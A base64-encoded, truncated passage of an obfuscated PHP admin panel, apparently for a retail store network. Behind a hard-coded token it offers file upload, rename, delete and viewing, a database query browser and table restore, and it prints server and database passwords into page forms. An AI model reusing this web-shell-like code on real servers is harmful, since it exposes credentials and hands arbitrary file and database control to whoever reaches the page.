m9wZG93bi1pdGVtJyBocmVmPSc/cD0iIC4gaGFzaCgnc2hhMScsICdjb25maWctZGInKSAuICInPkNvbmZpZyBEQjwvYT4gPGEgY2xhc3M9J2Ryb3Bkb3duLWl0ZW0nIGhyZWY9Jz9wPSIgLiBoYXNoKCdzaGExJywgJ2ltcG9ydC1pcCcpIC4gIic+SW1wb3J0IElQPC9hPjwvZGl2PjwvbGk+PGxpIGNsYXNzPSduYXYtaXRlbSBkcm9wZG93bic+PGEgY2xhc3M9J25hdi1saW5rIGRyb3Bkb3duLXRvZ2dsZScgaHJlZj0nIycgaWQ9J25hdmJhckRyb3Bkb3duJyByb2xlPSdidXR0b24nIGRhdGEtdG9nZ2xlPSdkcm9wZG93bicgYXJpYS1oYXNwb3B1cD0ndHJ1ZScgYXJpYS1leHBhbmRlZD0nZmFsc2UnPiBGaWxlcyA8L2E+PGRpdiBjbGFzcz0nZHJvcGRvd24tbWVudScgYXJpYS1sYWJlbGxlZGJ5PSduYXZiYXJEcm9wZG93bic+IDxhIGNsYXNzPSdkcm9wZG93bi1pdGVtJyBocmVmPSc/cD0iIC4gaGFzaCgnc2hhMScsICc2Y0VCTkFmJykgLiAiJz5MaXN0PC9hPiA8YSBjbGFzcz0nZHJvcGRvd24taXRlbScgaHJlZj0nP3A9IiAuIGhhc2goJ3NoYTEnLCAndXBsb2FkLWZvbGRlcicpIC4gIic+VXBsb2FkIEZvbGRlcjwvYT4gPGEgY2xhc3M9J2Ryb3Bkb3duLWl0ZW0nIGhyZWY9Jz9wPSIgLiBoYXNoKCdzaGExJywgJ3VwbG9hZC1maWxlJykgLiAiJz5VcGxvYWQgRmlsZTwvYT4gPGEgY2xhc3M9J2Ryb3Bkb3duLWl0ZW0nIGhyZWY9Jz9wPSIgLiBoYXNoKCdzaGExJywgJ3Nob3ctZmlsZScpIC4gIic+U2hvdyBGaWxlPC9hPiA8YSBjbGFzcz0nZHJvcGRvd24taXRlbScgaHJlZj0nP3A9IiAuIGhhc2goJ3NoYTEnLCAncmVuYW1lLWZpbGUnKSAuICInPlJlbmFtZTwvYT4gPGEgY2xhc3M9J2Ryb3Bkb3duLWl0ZW0nIGhyZWY9Jz9wPSIgLiBoYXNoKCdzaGExJywgJ2RlbGV0ZS1maWxlJykgLiAiJz5EZWxldGU8L2E+PC9kaXY+PC9saT48bGkgY2xhc3M9J25hdi1pdGVtIGRyb3Bkb3duJz4gPGEgY2xhc3M9J25hdi1saW5rIGRyb3Bkb3duLXRvZ2dsZScgaHJlZj0nIycgaWQ9J25hdmJhckRyb3Bkb3duJyByb2xlPSdidXR0b24nIGRhdGEtdG9nZ2xlPSdkcm9wZG93bicgYXJpYS1oYXNwb3B1cD0ndHJ1ZScgYXJpYS1leHBhbmRlZD0nZmFsc2UnPiBPcGVyYXRpb25hbCA8L2E+PGRpdiBjbGFzcz0nZHJvcGRvd24tbWVudScgYXJpYS1sYWJlbGxlZGJ5PSduYXZiYXJEcm9wZG93bic+IDxhIGNsYXNzPSdkcm9wZG93bi1pdGVtJyBocmVmPSc/cD0iIC4gaGFzaCgnc2hhMScsICdvdHInKSAuICInPk9UUjwvYT48YSBjbGFzcz0nZHJvcGRvd24taXRlbScgaHJlZj0nP3A9IiAuIGhhc2goJ3NoYTEnLCAncHVzaC1vdHInKSAuICInPlB1c2ggT1RSPC9hPiI7DQogICAgfQ0KICAgIGVjaG8gIiA8YSBjbGFzcz0nZHJvcGRvd24taXRlbScgaHJlZj0nP3A9IiAuIGhhc2goJ3NoYTEnLCAnVUo1cThUUicpIC4gIic+QmFja3VwIFRhYmxlPC9hPiA8YSBjbGFzcz0nZHJvcGRvd24taXRlbScgaHJlZj0nP3A9IiAuIGhhc2goJ3NoYTEnLCAncmVzdG9yZS10YWJsZScpIC4gIic+UmVzdG9yZSBUYWJsZTwvYT4gPGEgY2xhc3M9J2Ryb3Bkb3duLWl0ZW0nIGhyZWY9Jz9wPSIgLiBoYXNoKCdzaGExJywgJ3F1ZXJ5LWJyb3dzZXInKSAuICInPlF1ZXJ5IEJyb3dzZXIgUG9zPC9hPiA8YSBjbGFzcz0nZHJvcGRvd24taXRlbScgaHJlZj0nP3A9IiAuIGhhc2goJ3NoYTEnLCAncXVlcnktYnJvd3Nlci1zb3BwJykgLiAiJz5RdWVyeSBCcm93c2VyIFNvcHBhZ2VudDwvYT4gPGEgY2xhc3M9J2Ryb3Bkb3duLWl0ZW0nIGhyZWY9Jz9wPSIgLiBoYXNoKCdzaGExJywgJ2xvZ291dCcpIC4gIic+TG9nb3V0PC9hPjwvZGl2PjwvbGk+PC91bD48L2Rpdj48L2Rpdj4gPC9uYXY+PGRpdiBjbGFzcz0nY29udGFpbmVyJz48ZGl2IGNsYXNzPSdyb3cnPjxkaXYgY2xhc3M9J2NvbC1sZy0xMic+PHA+IjsNCiAgICBpZiAoJF9HRVRbJ3AnXSA9PSAnJykgew0KICAgICAgICAvKg0KICAgICAgICBMSVNUIEZJTEUNCiAgICAgICAgKi8NCiAgICB9IGVsc2UgaWYgKCRfR0VUWydwJ10gPT0gaGFzaCgic2hhMSIsICI2Y0VCTkFmIikpIHsNCiAgICAgICAgaWYgKCR4dXA1clF4Y01yUFJERXU5TjNQejVNVWpSRW5mTmd3UjcgIT0gJ0Z4RkU4NFV0S1o4RVBoRzd5RmpFV1pYYm5UTW5SelpnZCcpIHsNCiAgICAgICAgICAgIGVjaG8gJGRvbnQ7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPGZvcm0gYWN0aW9uPScnIGNsYXNzPSdmb3JtLWlubGluZScgbWV0aG9kPSdQT1NUJz4gPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wgbWItMiBtci1zbS0yJyBuYW1lPSdwYXRoX2xpc3QnIHBsYWNlaG9sZGVyPSdEaXJlY3RvcmknLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3VibWl0JyB2YWx1ZT0nbGlzdCcvPiA8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tbGlnaHQgbWItMic+TGlzdDwvYnV0dG9uPjwvZm9ybT4iOw0KICAgICAgICAvKg0KICAgICAgICBVUExPQUQgRk9MREVSDQogICAgICAgICovDQogICAgfSBlbHNlIGlmICgkX0dFVFsncCddID09IGhhc2goInNoYTEiLCAidXBsb2FkLWZvbGRlciIpKSB7DQogICAgICAgIGlmICgkeHVwNXJReGNNclBSREV1OU4zUHo1TVVqUkVuZk5nd1I3ICE9ICdGeEZFODRVdEtaOEVQaEc3eUZqRVdaWGJuVE1uUnpaZ2QnKSB7DQogICAgICAgICAgICBlY2hvICRkb250Ow0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjxmb3JtIGNsYXNzPScnIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPiA8aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2Zvcm0tY29udHJvbCBtYi0yIG1yLXNtLTInIG5hbWU9J2ZvbGRlcm5hbWUnIHBsYWNlaG9sZGVyPSdGb2xkZXIgTmFtZScvPiA8aW5wdXQgdHlwZT0nZmlsZScgY2xhc3M9JycgbmFtZT0nZmlsZXNbXScgbXVsdGlwbGUgZGlyZWN0b3J5PScnIHdlYmtpdGRpcmVjdG9yeT0nJyBtb3hkaXJlY3Rvcnk9JycgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3VibWl0JyB2YWx1ZT0ndXBsb2FkLWZvbGRlcicvPiA8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tc20gYnRuLWxpZ2h0Jz5VcGxvYWQgRm9sZGVyPC9idXR0b24+PC9mb3JtPiI7DQogICAgICAgIC8qDQogICAgICAgIFVQTE9BRCBGSUxFDQogICAgICAgICovDQogICAgfSBlbHNlIGlmICgkX0dFVFsncCddID09IGhhc2goInNoYTEiLCAidXBsb2FkLWZpbGUiKSkgew0KICAgICAgICBpZiAoJHh1cDVyUXhjTXJQUkRFdTlOM1B6NU1ValJFbmZOZ3dSNyAhPSAnRnhGRTg0VXRLWjhFUGhHN3lGakVXWlhiblRNblJ6WmdkJykgew0KICAgICAgICAgICAgZWNobyAkZG9udDsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8Zm9ybSBjbGFzcz0nZm9ybS1pbmxpbmUnIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPiA8aW5wdXQgdHlwZT0nZmlsZScgY2xhc3M9J2Zvcm0tY29udHJvbCBtYi0yIG1yLXNtLTInIG5hbWU9J2ZpbGVfdXBsb2FkJy8+IDxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZm9ybS1jb250cm9sIG1iLTIgbXItc20tMicgbmFtZT0nZmlsZV9kaXInIHBsYWNlaG9sZGVyPSdEaXInLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3VibWl0JyB2YWx1ZT0ndXBsb2FkLWZpbGUnLz4gPGJ1dHRvbiB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4gYnRuLXNtIGJ0bi1saWdodCc+VXBsb2FkIEZpbGU8L2J1dHRvbj48L2Zvcm0+IjsNCiAgICAgICAgLyoNCiAgICAgICAgU0hPVyBGSUxFDQogICAgICAgIA0KICAgICAgICAqLw0KICAgIH0gZWxzZSBpZiAoJF9HRVRbJ3AnXSA9PSBoYXNoKCJzaGExIiwgInNob3ctZmlsZSIpKSB7DQogICAgICAgIGlmICgkeHVwNXJReGNNclBSREV1OU4zUHo1TVVqUkVuZk5nd1I3ICE9ICdGeEZFODRVdEtaOEVQaEc3eUZqRVdaWGJuVE1uUnpaZ2QnKSB7DQogICAgICAgICAgICBlY2hvICRkb250Ow0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjxmb3JtIGFjdGlvbj0nJyBjbGFzcz0nZm9ybS1pbmxpbmUnIG1ldGhvZD0nUE9TVCc+IDxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZm9ybS1jb250cm9sIG1iLTIgbXItc20tMicgbmFtZT0nZmlsZV9uYW1lJyBwbGFjZWhvbGRlcj0nRmlsZScvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzdWJtaXQnIHZhbHVlPSdzaG93LWZpbGUnLz4gPGJ1dHRvbiB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4gYnRuLWxpZ2h0IG1iLTInPlNob3c8L2J1dHRvbj48L2Zvcm0+IjsNCiAgICAgICAgLyoNCiAgICAgICAgUkVOQU1FIEZJTEUNCiAgICAgICAgKi8NCiAgICB9IGVsc2UgaWYgKCRfR0VUWydwJ10gPT0gaGFzaCgic2hhMSIsICJyZW5hbWUtZmlsZSIpKSB7DQogICAgICAgIGlmICgkeHVwNXJReGNNclBSREV1OU4zUHo1TVVqUkVuZk5nd1I3ICE9ICdGeEZFODRVdEtaOEVQaEc3eUZqRVdaWGJuVE1uUnpaZ2QnKSB7DQogICAgICAgICAgICBlY2hvICRkb250Ow0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjxmb3JtIGFjdGlvbj0nJyBjbGFzcz0nZm9ybS1pbmxpbmUnIG1ldGhvZD0nUE9TVCc+IDxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZm9ybS1jb250cm9sIG1iLTIgbXItc20tMicgbmFtZT0nZmlsZV9sYW1hJyBwbGFjZWhvbGRlcj0nbmFtYSBmaWxlIGxhbWEnLz4gPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wgbWItMiBtci1zbS0yJyBuYW1lPSdmaWxlX2JhcnUnIHBsYWNlaG9sZGVyPSduYW1hIGZpbGUgYmFydScvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzdWJtaXQnIHZhbHVlPSdyZW5hbWUtZmlsZScvPiA8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tbGlnaHQgbWItMic+UmVuYW1lPC9idXR0b24+PC9mb3JtPiI7DQogICAgICAgIC8qDQogICAgICAgIERFTEVURSBGSUxFDQogICAgICAgICovDQogICAgfSBlbHNlIGlmICgkX0dFVFsncCddID09IGhhc2goInNoYTEiLCAiZGVsZXRlLWZpbGUiKSkgew0KICAgICAgICBpZiAoJHh1cDVyUXhjTXJQUkRFdTlOM1B6NU1ValJFbmZOZ3dSNyAhPSAnRnhGRTg0VXRLWjhFUGhHN3lGakVXWlhiblRNblJ6WmdkJykgew0KICAgICAgICAgICAgZWNobyAkZG9udDsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8Zm9ybSBhY3Rpb249JycgY2xhc3M9J2Zvcm0taW5saW5lJyBtZXRob2Q9J1BPU1QnPiA8aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2Zvcm0tY29udHJvbCBtYi0yIG1yLXNtLTInIG5hbWU9J2ZpbGVfbmFtZScgcGxhY2Vob2xkZXI9J2ZpbGUgbmFtZScvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzdWJtaXQnIHZhbHVlPSdkZWxldGUtZmlsZScvPiA8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tbGlnaHQgbWItMic+RGVsZXRlPC9idXR0b24+PC9mb3JtPiI7DQogICAgICAgIC8qDQogICAgICAgIFBBU1MgVE9LTw0KICAgICAgICAqLw0KICAgIH0gZWxzZSBpZiAoJF9HRVRbJ3AnXSA9PSBoYXNoKCJzaGExIiwgImNvbmZpZy1kYiIpKSB7DQogICAgICAgIGlmICgkeHVwNXJReGNNclBSREV1OU4zUHo1TVVqUkVuZk5nd1I3ID09ICdNN01xcnJFQ2VhRFNFeTZSa0JYNmEzbTRiYzYyNEZ2bVQnKSB7DQogICAgICAgICAgICBlY2hvICRkb250Ow0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIg0KIDxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPScnPjxkaXYgY2xhc3M9J2Zvcm0tcm93Jz48ZGl2IGNsYXNzPSdmb3JtLWdyb3VwIGNvbC1tZC02Jz4gPGxhYmVsPlBhc3MgVG9rbzwvbGFiZWw+IDxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZm9ybS1jb250cm9sJyB2YWx1ZT0nIiAuICRVd3dUdmRRRndQSzNTSGVRdmV0ejJqNHNIbmRSQ0RWdnEgLiAiJyBuYW1lPSdwYXNzLXRva28nPjwvZGl2PjxkaXYgY2xhc3M9J2Zvcm0tZ3JvdXAgY29sLW1kLTYnPiA8bGFiZWw+VXNlciBUb2tvPC9sYWJlbD4gPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHZhbHVlPSciIC4gJGpmdDlNQVJRcW43cFFtdHBMSDhkQmFIeXVLVGVXTHlOZyAuICInIG5hbWU9J3VzZXItdG9rbyc+PC9kaXY+PGRpdiBjbGFzcz0nZm9ybS1ncm91cCBjb2wtbWQtNic+IDxsYWJlbD5TZXJ2ZXIgT1RSIDwvbGFiZWw+IDxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZm9ybS1jb250cm9sJyB2YWx1ZT0nIiAuIGJhc2U2NF9lbmNvZGUoJHNlcnZlcl9vdHIpIC4gIicgbmFtZT0nc2VydmVyLW90cic+PC9kaXY+PGRpdiBjbGFzcz0nZm9ybS1ncm91cCBjb2wtbWQtNic+IDxsYWJlbD5Vc2VyIE9UUjwvbGFiZWw+IDxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZm9ybS1jb250cm9sJyB2YWx1ZT0nIiAuIGJhc2U2NF9lbmNvZGUoJHVzZXJfb3RyKSAuICInIG5hbWU9J3VzZXItb3RyJz48L2Rpdj48ZGl2IGNsYXNzPSdmb3JtLWdyb3VwIGNvbC1tZC02Jz4gPGxhYmVsPlBhc3MgT1RSPC9sYWJlbD4gPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHZhbHVlPSciIC4gYmFzZTY0X2VuY29kZSgkcGFzc19vdHIpIC4gIicgbmFtZT0ncGFzcy1vdHInPjwvZGl2PjxkaXYgY2xhc3M9J2Zvcm0tZ3JvdXAgY29sLW1kLTYnPiA8bGFiZWw+REIgT1RSPC9sYWJlbD4gPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHZhbHVlPSciIC4gYmFzZTY0X2VuY29kZSgkZGJfb3RyKSAuICInIG5hbWU9J2RiLW90cic+PC9kaXY+PGRpdiBjbGFzcz0nZm9ybS1ncm91cCBjb2wtbWQtNic+IDxsYWJlbD5TZXJ2ZXIgQVdIPC9sYWJlbD4gPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHZhbHVlPSciIC4gYmFzZTY0X2VuY29kZSgkc2VydmVyX2F3aCkgLiAiJyBuYW1lPSdzZXJ2ZXItYXdoJz48L2Rpdj48ZGl2IGNsYXNzPSdmb3JtLWdyb3VwIGNvbC1tZC02Jz4gPGxhYmVsPlVzZXIgQVdIPC9sYWJlbD4gPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHZhbHVlPSciIC4gYmFzZTY0X2VuY29kZSgkdXNlcl9hd2gpIC4gIicgbmFtZT0ndXNlci1hd2gnPjwvZGl2PjxkaXYgY2xhc3M9J2Zvcm0tZ3JvdXAgY29sLW1kLTYnPiA8bGFiZWw+UGFzcyBBV0g8L2xhYmVsPiA8aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2Zvcm0tY29udHJvbCcgdmFsdWU9JyIgLiBiYXNlNjRfZW5jb2RlKCRwYXNzX2F3aCkgLiAiJyBuYW1lPSdwYXNzLWF3aCc+PC9kaXY+PGRpdiBjbGFzcz0nZm9ybS1ncm91cCBjb2wtbWQtNic+IDxsYWJlbD5EQiBBV0g8L2xhYmVsPiA8aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2Zvcm0tY29udHJvbCcgdmFsdWU9JyIgLiBiYXNlNjRfZW5jb2RlKCRkYl9hd2gpIC4gIicgbmFtZT0nZGItYXdoJz48L2Rpdj48L2Rpdj4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3VibWl0JyB2YWx1ZT0ndXBkYXRlLWNvbmZpZy1kYicvPiA8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tbGlnaHQnPlVwZGF0ZTwvYnV0dG9uPjwvZm9ybT4iOw0KICAgICAgICBpZiAoJHh1cDVyUXhjTXJQUkRFdTlOM1B6NU1ValJFbmZOZ3dSNyA9PSAnRnhGRTg0VXRLWjhFUGhHN3lGakVXWlhiblRNblJ6WmdkJykgew0KICAgICAgICAgICAgZWNobyAiPGhyPiIgLiAkc2VydmVyX290ciAuICI8YnI+IiAuICR1c2VyX290ciAuICI8YnI+IiAuICRwYXNzX290ciAuICI8YnI+IiAuICRkYl9vdHIgLiAiPGJyPiIgLiAkc2VydmVyX2F3aCAuICI8YnI+IiAuICR1c2VyX2F3aCAuICI8YnI+IiAuICRwYXNzX2F3aCAuICI8YnI+IiAuICRkYl9hd2g7DQogICAgICAgIH0NCiAgICAgICAgLyoNCiAgICAgICAgSU1QT1JUIElQDQogICAgICAgICovDQogICAgfSBlbHNlIGlmICgkX0dFVFsncCddID09IGhhc2goInNoYTEiLCAiaW1wb3J0LWlwIikpIHsNCiAgICAgICAgJHh1cDVyUXhjTXJQUkRFdTlOM1B6NU1ValJFbmZOZ3dSNyA9ICdGeEZFODRVdEtaOEVQaEc3eUZqRVdaWGJuVE1uUnpaZ2QnOw0KICAgICAgICBpZiAoJHh1cDVyUXhjTXJQUkRFdTlOM1B6NU1ValJFbmZOZ3dSNyAhPSAnRnhGRTg0VXRLWjhFUGhHN3lGakVXWlhiblRNblJ6WmdkJykgew0KICAgICAgICAgICAgZWNobyAkZG9udDsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICByZXF1aXJlX29uY2UgKCJjb25maWcvY29ubmRiLnBocCIpOw0KICAgICAgICAkZmlsZSA9IGZvcGVuKCJjdGtyZWthcGFic2VuLmRsbCIsICJ3Iik7DQogICAgICAgICRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1Qga2R0ayxuYW1hLGlwX2luZHVrLGlwX2luZHVrMiBmcm9tIHRva28gd2hlcmUga2R0ayBsaWtlICdGJScgb3Iga2R0ayBsaWtlICdUJScgb3Iga2R0ayBsaWtlICdSJScgb3Iga2R0az0nRURQMycgb3JkZXIgYnkga2R0ayBhc2MiKTsNCiAgICAgICAgd2hpbGUgKCRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KICAgICAgICAgICAgZndyaXRlKCRmaWxlLCAkZGF0YVsna2R0ayddIC4gIiwiIC4gJGRhdGFbJ25hbWEnXSAuICIsIiAuICRkYXRhWydpcF9pbmR1ayddIC4gIiwiIC4gJGRhdGFbJ2lwX2luZHVrMiddIC4gUEhQX0VPTCk7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRmaWxlKTsNCiAgICAgICAgJGZpbGUyID0gZm9wZW4oImN0a19tYWludGNjdHYuZGxsIiwgInciKTsNCiAgICAgICAgJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCB1c2VybmFtZSxuYW1hX2xlbmdrYXAgZnJvbSB1c2VycyB3aGVyZSBkZXA9J2VkcCciKTsNCiAgICAgICAgd2hpbGUgKCRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KICAgICAgICAgICAgZndyaXRlKCRmaWxlMiwgJGRhdGFbJ3VzZXJuYW1lJ10gLiAiLCIgLiAkZGF0YVsnbmFtYV9sZW5na2FwJ10gLiBQSFBfRU9MKTsNCiAgICAgICAgfQ0KICAgICAgICBmY2xvc2UoJGZpbGUyKTsNCiAgICAgICAgLyoNCiAgICAgICAgT250aGVyb2FkDQogICAgICAgICovDQogICAgfSBlbHNlIGlmICgkX0dFVFsncCddID09IGhhc2goInNoYTEiLCAib3RyIikpIHsNCiAgICAgICAgZWNobyAiPGZvcm0gYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+DQogPGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jyc+IjsNCiAgICAgICAgJExNdmROQ2F2ZHlDZWdrQjdqMmpKcktXd0N2WjRkQzJtcl90eHQgPSBmb3BlbigiY3RrcmVrYXBhYnNlbi5kbGwiLCAicmIiKTsNCiAgICAgICAgJG5pa190eHQgPSBmb3BlbigiY3RrX21haW50Y2N0di5kbGwiLCAicmIiKTsNCiAgICAgICAgZWNobyAiPGRpdiBjbGFzcz0nZm9ybS1yb3cnPjxkaXYgY2xhc3M9J2NvbC1tZC0xMiBtYi0zJz4NCiA8c2VsZWN0IGNsYXNzPSdzZWxlY3QtMiBmb3JtLWNvbnRyb2wgbWItMiBtci1zbS0yJyBuYW1lPSdrZHRrJz4NCiA8b3B0aW9uPktES1RLPC9vcHRpb24+IjsNCiAgICAgICAgd2hpbGUgKCFmZW9mKCRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXJfdHh0KSkgew0KICAgICAgICAgICAgJGFDUldqc2V2S0tmZVk0YjVXYUd6UzZyQVFjdlBFNUhMcCA9IGZnZXRzKCRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXJfdHh0KTsNCiAgICAgICAgICAgICRVWDk4d0pya3J3bXRCeFpUY1hHWlFrZVZDTlc4UGNtbU4gPSBleHBsb2RlKCcsJywgJGFDUldqc2V2S0tmZVk0YjVXYUd6UzZyQVFjdlBFNUhMcCk7DQogICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSciIC4gJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTlswXSAuICInPiIgLiAkVVg5OHdKcmtyd210QnhaVGNYR1pRa2VWQ05XOFBjbW1OWzBdIC4gIiAtICIgLiAkVVg5OHdKcmtyd210QnhaVGNYR1pRa2VWQ05XOFBjbW1OWzFdIC4gIjwvb3B0aW9uPiI7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXJfdHh0KTsNCiAgICAgICAgZWNobyAiPC9zZWxlY3Q+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nZm9ybS1yb3cnPjxkaXYgY2xhc3M9J2NvbC1tZC0xMiBtYi0zJz4NCiA8c2VsZWN0IGNsYXNzPSdzZWxlY3QtMiBmb3JtLWNvbnRyb2wgbWItMiBtci1zbS0yJyBuYW1lPSduaWsnPg0KIDxvcHRpb24+TklLPC9vcHRpb24+IjsNCiAgICAgICAgd2hpbGUgKCFmZW9mKCRuaWtfdHh0KSkgew0KICAgICAgICAgICAgJGFDUldqc2V2S0tmZVk0YjVXYUd6UzZyQVFjdlBFNUhMcCA9IGZnZXRzKCRuaWtfdHh0KTsNCiAgICAgICAgICAgICRVWDk4d0pya3J3bXRCeFpUY1hHWlFrZVZDTlc4UGNtbU4gPSBleHBsb2RlKCcsJywgJGFDUldqc2V2S0tmZVk0YjVXYUd6UzZyQVFjdlBFNUhMcCk7DQogICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSciIC4gJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTlswXSAuICInPiIgLiAkVVg5OHdKcmtyd210QnhaVGNYR1pRa2VWQ05XOFBjbW1OWzBdIC4gIiAtICIgLiAkVVg5OHdKcmtyd210QnhaVGNYR1pRa2VWQ05XOFBjbW1OWzFdIC4gIjwvb3B0aW9uPiI7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRuaWtfdHh0KTsNCiAgICAgICAgZWNobyAiPC9zZWxlY3Q+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nZm9ybS1pbmxpbmUnPg0KIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3N1Ym1pdCcgdmFsdWU9J290cicvPg0KIDxidXR0b24gdHlwZT0nc3VibWl0JyBjbGFzcz0nYnRuIGJ0bi1saWdodCBtYi0yJz5Mb2dpbjwvYnV0dG9uPjwvZGl2Pg0KIDwvZm9ybT4iOw0KICAgIH0gZWxzZSBpZiAoJF9HRVRbJ3AnXSA9PSBoYXNoKCJzaGExIiwgInB1c2gtb3RyIikpIHsNCiAgICAgICAgZWNobyAiDQogPGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249JycgY2xhc3M9J2Zvcm0taW5saW5lJz48ZGl2IGNsYXNzPSdmb3JtLWdyb3VwIG1iLTInPiA8bGFiZWw+RGVsZXRlPC9sYWJlbD48L2Rpdj48ZGl2IGNsYXNzPSdmb3JtLWdyb3VwIG14LXNtLTIgbWItMic+IDxpbnB1dCB0eXBlPSdkYXRlJyBjbGFzcz0nZm9ybS1jb250cm9sJyBuYW1lPSd0YW5nZ2FsX21hc3VrJyB0aXRsZT0nVGFuZ2dhbCBNYXN1ayc+PC9kaXY+PGRpdiBjbGFzcz0nZm9ybS1ncm91cCBteC1zbS0yIG1iLTInPiA8aW5wdXQgdHlwZT0nbnVtYmVyJyBjbGFzcz0nZm9ybS1jb250cm9sJyBuYW1lPSduaWsnIHBsYWNlaG9sZGVyPSdOSUsnPjwvZGl2PjxkaXYgY2xhc3M9J2Zvcm0tZ3JvdXAgbXgtc20tMiBtYi0yJz4gPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIG5hbWU9J2tkdGsnIHBsYWNlaG9sZGVyPSdLRFRLJz48L2Rpdj4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3VibWl0JyB2YWx1ZT0nZGVsZXRlLW90cicvPiA8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tcHJpbWFyeSBtYi0yJz5EZWxldGU8L2J1dHRvbj48L2Zvcm0+DQogPGhyPjxmb3JtIGNsYXNzPSdmb3JtLWlubGluZSc+PGRpdiBjbGFzcz0nZm9ybS1ncm91cCBtYi0yJz4gPGxhYmVsPk1hc3VrPC9sYWJlbD48L2Rpdj48ZGl2IGNsYXNzPSdmb3JtLWdyb3VwIG14LXNtLTIgbWItMic+IDxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZm9ybS1jb250cm9sJyBuYW1lPSdtc2snIHRpdGxlPSdVcGRhdGUnIHZhbHVlPSciIC4gZGF0ZSgiWS1tLWQgaDppOnMiKSAuICInPjwvZGl2PjxkaXYgY2xhc3M9J2Zvcm0tZ3JvdXAgbXgtc20tMiBtYi0yJz4gPGlucHV0IHR5cGU9J2RhdGUnIGNsYXNzPSdmb3JtLWNvbnRyb2wnI